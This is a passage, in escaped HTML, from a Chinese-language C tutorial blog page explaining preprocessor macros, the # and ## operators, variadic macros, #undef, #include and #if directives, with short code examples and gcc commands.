\u0026lt; product; i++) { \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e printf(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, i); \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e } \\\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,替换文本放在大括号里面,这是为了创造一个块作用域,避免宏内部的变量污染外部。\u003c/p\u003e\u003cp\u003e带参数的宏也可以嵌套,一个宏里面包含另一个宏。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e QUADP(a, b, c) ((-(b) + sqrt((b) * (b) - 4 * (a) * (c))) / (2 * (a)))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e QUADM(a, b, c) ((-(b) - sqrt((b) * (b) - 4 * (a) * (c))) / (2 * (a)))\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e QUAD(a, b, c) QUADP(a, b, c), QUADM(a, b, c)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是一元二次方程组求解的宏,由于存在正负两个解,所以宏\u003ccode\u003eQUAD\u003c/code\u003e先替换成另外两个宏\u003ccode\u003eQUADP\u003c/code\u003e和\u003ccode\u003eQUADM\u003c/code\u003e,后者再各自替换成一个解。\u003c/p\u003e\u003cp\u003e那么,什么时候使用带参数的宏,什么时候使用函数呢?\u003c/p\u003e\u003cp\u003e一般来说,应该首先使用函数,它的功能更强、更容易理解。宏有时候会产生意想不到的替换结果,而且往往只能写成一行,除非对换行符进行转义,但是可读性就变得很差。\u003c/p\u003e\u003cp\u003e宏的优点是相对简单,本质上是字符串替换,不涉及数据类型,不像函数必须定义数据类型。而且,宏将每一处都替换成实际的代码,省掉了函数调用的开销,所以性能会好一些。另外,以前的代码大量使用宏,尤其是简单的数学运算,为了读懂前人的代码,需要对它有所了解。\u003c/p\u003e\u003ch4 id=\"运算符,-运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E8%BF%90%E7%AE%97%E7%AC%A6%EF%BC%8C-%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"#运算符,##运算符\"\u003e\u003c/a\u003e\u003ccode\u003e#\u003c/code\u003e运算符,\u003ccode\u003e##\u003c/code\u003e运算符\u003c/h4\u003e\u003cp\u003e由于宏不涉及数据类型,所以替换以后可能为各种类型的值。如果希望替换后的值为字符串,可以在替换文本的参数前面加上\u003ccode\u003e#\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e STR(x) #x\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 等同于 printf(\u0026#34;%s\\n\u0026#34;, \u0026#34;3.14159\u0026#34;);\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, STR(\u003cspan class=\"number\"\u003e3.14159\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eSTR(3.14159)\u003c/code\u003e会被替换成\u003ccode\u003e3.14159\u003c/code\u003e。如果\u003ccode\u003ex\u003c/code\u003e前面没有\u003ccode\u003e#\u003c/code\u003e,这会被解释成一个浮点数,有了\u003ccode\u003e#\u003c/code\u003e以后,就会被转换成字符串。\u003c/p\u003e\u003cp\u003e下面是另一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e XNAME(n) \u003cspan class=\"string\"\u003e\u0026#34;x\u0026#34;\u003c/span\u003e#n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 输出 x4\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, XNAME(\u003cspan class=\"number\"\u003e4\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e#n\u003c/code\u003e指定参数输出为字符串,再跟前面的字符串结合,最终输出为\u003ccode\u003e\u0026#34;x4\u0026#34;\u003c/code\u003e。如果不加\u003ccode\u003e#\u003c/code\u003e,这里实现起来就很麻烦了。\u003c/p\u003e\u003cp\u003e如果替换后的文本里面,参数需要跟其他标识符连在一起,组成一个新的标识符,可以使用\u003ccode\u003e##\u003c/code\u003e运算符。它起到粘合作用,将参数“嵌入”一个标识符之中。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e MK_ID(n) i##n\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003en\u003c/code\u003e是宏\u003ccode\u003eMK_ID\u003c/code\u003e的参数,这个参数需要跟标识符\u003ccode\u003ei\u003c/code\u003e粘合在一起,这时\u003ccode\u003ei\u003c/code\u003e和\u003ccode\u003en\u003c/code\u003e之间就要使用\u003ccode\u003e##\u003c/code\u003e运算符。下面是这个宏的用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eMK_ID\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e, \u003cspan class=\"title function_\"\u003eMK_ID\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e, \u003cspan class=\"title function_\"\u003eMK_ID\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"number\"\u003e3\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 替换成\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e i1, i2, i3;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,替换后的文本\u003ccode\u003ei1\u003c/code\u003e、\u003ccode\u003ei2\u003c/code\u003e、\u003ccode\u003ei3\u003c/code\u003e是三个标识符,参数\u003ccode\u003en\u003c/code\u003e是标识符的一部分。从这个例子可以看到,\u003ccode\u003e##\u003c/code\u003e运算符的一个主要用途是批量生成变量名和标识符。\u003c/p\u003e\u003ch4 id=\"不定参数的宏\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%B8%8D%E5%AE%9A%E5%8F%82%E6%95%B0%E7%9A%84%E5%AE%8F\" class=\"headerlink\" title=\"不定参数的宏\"\u003e\u003c/a\u003e不定参数的宏\u003c/h4\u003e\u003cp\u003e宏的参数还可以是不定数量的(即不确定有多少个参数),\u003ccode\u003e...\u003c/code\u003e表示剩余的参数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e X(a, b, ...) (10*(a) + 20*(b)), __VA_ARGS__\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eX(a, b, ...)\u003c/code\u003e表示\u003ccode\u003eX()\u003c/code\u003e至少有两个参数,多余的参数使用\u003ccode\u003e...\u003c/code\u003e表示。在替换文本中,\u003ccode\u003e__VA_ARGS__\u003c/code\u003e代表多余的参数(每个参数之间使用逗号分隔)。下面是用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eX(\u003cspan class=\"number\"\u003e5\u003c/span\u003e, \u003cspan class=\"number\"\u003e4\u003c/span\u003e, \u003cspan class=\"number\"\u003e3.14\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Hi!\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e12\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 替换成\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e*(\u003cspan class=\"number\"\u003e5\u003c/span\u003e) + \u003cspan class=\"number\"\u003e20\u003c/span\u003e*(\u003cspan class=\"number\"\u003e4\u003c/span\u003e)), \u003cspan class=\"number\"\u003e3.14\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Hi!\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e12\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e注意,\u003ccode\u003e...\u003c/code\u003e只能替代宏的尾部参数,不能写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 报错\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e WRONG(X, ..., Y) #X #__CA_ARGS__ #Y\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e...\u003c/code\u003e替代中间部分的参数,这是不允许的,会报错。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e__VA_ARGS__\u003c/code\u003e前面加上一个\u003ccode\u003e#\u003c/code\u003e号,可以让输出变成一个字符串。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e X(...) #__VA_ARGS__\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%s\\n\u0026#34;\u003c/span\u003e, X(\u003cspan class=\"number\"\u003e1\u003c/span\u003e,\u003cspan class=\"number\"\u003e2\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// Prints \u0026#34;1, 2, 3\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"undef\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#undef\" class=\"headerlink\" title=\"#undef\"\u003e\u003c/a\u003e#undef\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#undef\u003c/code\u003e指令用来取消已经使用\u003ccode\u003e#define\u003c/code\u003e定义的宏。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e LIMIT 400\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eundef\u003c/span\u003e LIMIT\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例的\u003ccode\u003eundef\u003c/code\u003e指令取消已经定义的宏\u003ccode\u003eLIMIT\u003c/code\u003e,后面就可以重新用 LIMIT 定义一个宏。\u003c/p\u003e\u003cp\u003e有时候想重新定义一个宏,但不确定是否以前定义过,就可以先用\u003ccode\u003e#undef\u003c/code\u003e取消,然后再定义。因为同名的宏如果两次定义不一样,会报错,而\u003ccode\u003e#undef\u003c/code\u003e的参数如果是不存在的宏,并不会报错。\u003c/p\u003e\u003cp\u003eGCC 的\u003ccode\u003e-U\u003c/code\u003e选项可以在命令行取消宏的定义,相当于\u003ccode\u003e#undef\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -ULIMIT foo.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中的\u003ccode\u003e-U\u003c/code\u003e参数,取消了宏\u003ccode\u003eLIMIT\u003c/code\u003e,相当于源文件里面的\u003ccode\u003e#undef LIMIT\u003c/code\u003e。\u003c/p\u003e\u003ch3 id=\"include\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#include\" class=\"headerlink\" title=\"#include\"\u003e\u003c/a\u003e#include\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#include\u003c/code\u003e指令用于编译时将其他源码文件,加载进入当前文件。它有两种形式。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 形式一\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;foo.h\u0026gt;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 加载系统提供的文件\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 形式二\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;foo.h\u0026#34;\u003c/span\u003e \u003cspan class=\"comment\"\u003e// 加载用户提供的文件\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e形式一,文件名写在尖括号里面,表示该文件是系统提供的,通常是标准库的库文件,不需要写路径。因为编译器会到系统指定的安装目录里面,去寻找这些文件。\u003c/p\u003e\u003cp\u003e形式二,文件名写在双引号里面,表示该文件由用户提供,具体的路径取决于编译器的设置,可能是当前目录,也可能是项目的工作目录。如果所要包含的文件在其他位置,就需要指定路径,下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;/usr/local/lib/foo.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003eGCC 编译器的\u003ccode\u003e-I\u003c/code\u003e参数,也可以用来指定\u003ccode\u003einclude\u003c/code\u003e命令中用户文件的加载路径。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -Iinclude/ -o code code.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令中,\u003ccode\u003e-Iinclude/\u003c/code\u003e指定从当前目录的\u003ccode\u003einclude\u003c/code\u003e子目录里面,加载用户自己的文件。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#include\u003c/code\u003e最常见的用途,就是用来加载包含函数原型的头文件(后缀名为\u003ccode\u003e.h\u003c/code\u003e),参见《多文件编译》一章。多个\u003ccode\u003e#include\u003c/code\u003e指令的顺序无关紧要,多次包含同一个头文件也是合法的。\u003c/p\u003e\u003ch3 id=\"if…-endif\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#if%E2%80%A6-endif\" class=\"headerlink\" title=\"#if…#endif\"\u003e\u003c/a\u003e#if…#endif\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e#if...#endif\u003c/code\u003e指令用于预处理器的条件判断,满足条件时,内部的行会被编译,否则就被编译器忽略。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eif\u003c/span\u003e 0\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e pi = \u003cspan class=\"number\"\u003e3.1415\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 不会执行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003e#if\u003c/code\u003e后面的\u003ccode\u003e0\u003c/code\u003e,表示判断条件不成立。所以,内部的变量定义语句会被编译器忽略。\u003ccode\u003e#if 0\u003c/code\u003e这种写法常用来当作注释使用,不需要的代码就放在\u003ccode\u003e#if 0\u003c/code\u003e里面。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#if\u003c/code\u003e后面的判断条件,通常是一个表达式。如果表达式的值不等于\u003ccode\u003e0\u003c/code\u003e,就表示判断条件为真,编译内部的语句;如果表达式的值等于0,表示判断条件为伪,则忽略内部的语句。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e#if...#endif\u003c/code\u003e之间还可以加入\u003ccode\u003e#else\u003c/code\u003e指令,用于指定判断条件不成立时,需要编译的语句。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e FOO 1\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan 